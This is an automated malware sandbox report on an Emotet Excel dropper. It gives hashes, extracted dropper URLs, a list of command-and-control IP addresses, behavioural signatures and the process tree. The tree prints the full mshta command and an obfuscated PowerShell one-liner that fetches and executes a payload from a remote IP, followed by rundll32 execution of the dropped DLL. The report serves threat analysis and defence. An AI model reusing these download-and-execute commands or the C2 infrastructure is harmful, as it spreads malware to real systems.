emotet | 5c9dfd8eb4bd4e6537b14eb65f8f8aa790e0bd199c95377be4153e945b5f9221

Analysis

max time kernel
143s
max time network
146s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 18:45

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General

Target
tmpokralgi1.xls
Size 155KB
Sample220127-xed6cshbbp
SHA256 5c9dfd8eb4bd4e6537b14eb65f8f8aa790e0bd199c95377be4153e945b5f9221
MD5 881482537058189da1c661fdb64ee550
SHA1 bb529bbc0f6cd6b09ddccffb41bee7e65020486b
SHA512 809753d5b97b1d6313f3cc04f57e7938e41990816bb3cdff407ed391b01efb0b74dcfaf83e7ef623536eeb59d9a7c17cdb38d14384d45c3b2300d7d607c336d7
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3492	368	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
36	2164	mshta.exe
40	1344	powershell.exe
42	1344	powershell.exe
55	3176	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1732	rundll32.exe
4056	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Didfw\feeisrbkkivdqin.zsh	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
432	2164	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
368	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
432	WerFault.exe
1344	powershell.exe
1344	powershell.exe
1344	powershell.exe
3176	rundll32.exe
3176	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	432	WerFault.exe
Token: SeDebugPrivilege	1344	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE
368	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 368 wrote to memory of 3492	368	EXCEL.EXE	71
PID 368 wrote to memory of 3492	368	EXCEL.EXE	71
PID 3492 wrote to memory of 2164	3492	cmd.exe	73
PID 3492 wrote to memory of 2164	3492	cmd.exe	73
PID 2164 wrote to memory of 1344	2164	mshta.exe	76
PID 2164 wrote to memory of 1344	2164	mshta.exe	76
PID 1344 wrote to memory of 2864	1344	powershell.exe	80
PID 1344 wrote to memory of 2864	1344	powershell.exe	80
PID 2864 wrote to memory of 1732	2864	cmd.exe	81
PID 2864 wrote to memory of 1732	2864	cmd.exe	81
PID 2864 wrote to memory of 1732	2864	cmd.exe	81
PID 1732 wrote to memory of 4056	1732	rundll32.exe	82
PID 1732 wrote to memory of 4056	1732	rundll32.exe	82
PID 1732 wrote to memory of 4056	1732	rundll32.exe	82
PID 4056 wrote to memory of 720	4056	rundll32.exe	83
PID 4056 wrote to memory of 720	4056	rundll32.exe	83
PID 4056 wrote to memory of 720	4056	rundll32.exe	83
PID 720 wrote to memory of 3176	720	rundll32.exe	84
PID 720 wrote to memory of 3176	720	rundll32.exe	84
PID 720 wrote to memory of 3176	720	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpokralgi1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:368
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2164 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1344
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2864
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1732
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4056
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Didfw\feeisrbkkivdqin.zsh",DRxTpAn
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:720
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Didfw\feeisrbkkivdqin.zsh",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/368-118-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-121-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-128-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

Download

memory/368-129-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

Download

memory/368-115-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-350-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-117-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-116-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-352-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-351-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/368-349-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Download

memory/1344-280-0x00000216FC580000-0x00000216FC5A2000-memory.dmp

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memory/1344-312-0x00000216FCC80000-0x00000216FCCF6000-memory.dmp

Download

memory/1344-301-0x00000216FC710000-0x00000216FC74C000-memory.dmp

Download

memory/1344-298-0x00000216FBE30000-0x00000216FBF20000-memory.dmp

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memory/1344-297-0x00000216FBE30000-0x00000216FBF20000-memory.dmp

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memory/1344-317-0x00000216FBE30000-0x00000216FBF20000-memory.dmp

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memory/1732-359-0x0000000004D01000-0x0000000004D22000-memory.dmp

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memory/3176-378-0x00000000047B0000-0x00000000047D5000-memory.dmp

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memory/4056-362-0x0000000003F30000-0x0000000003F55000-memory.dmp

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memory/4056-367-0x0000000004630000-0x0000000004655000-memory.dmp

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memory/4056-369-0x0000000004710000-0x0000000004735000-memory.dmp

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memory/4056-371-0x0000000004770000-0x0000000004795000-memory.dmp

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memory/4056-373-0x00000000047D0000-0x00000000047F5000-memory.dmp

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memory/4056-375-0x00000000049B0000-0x00000000049D5000-memory.dmp

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memory/4056-364-0x0000000003FB0000-0x0000000003FD5000-memory.dmp

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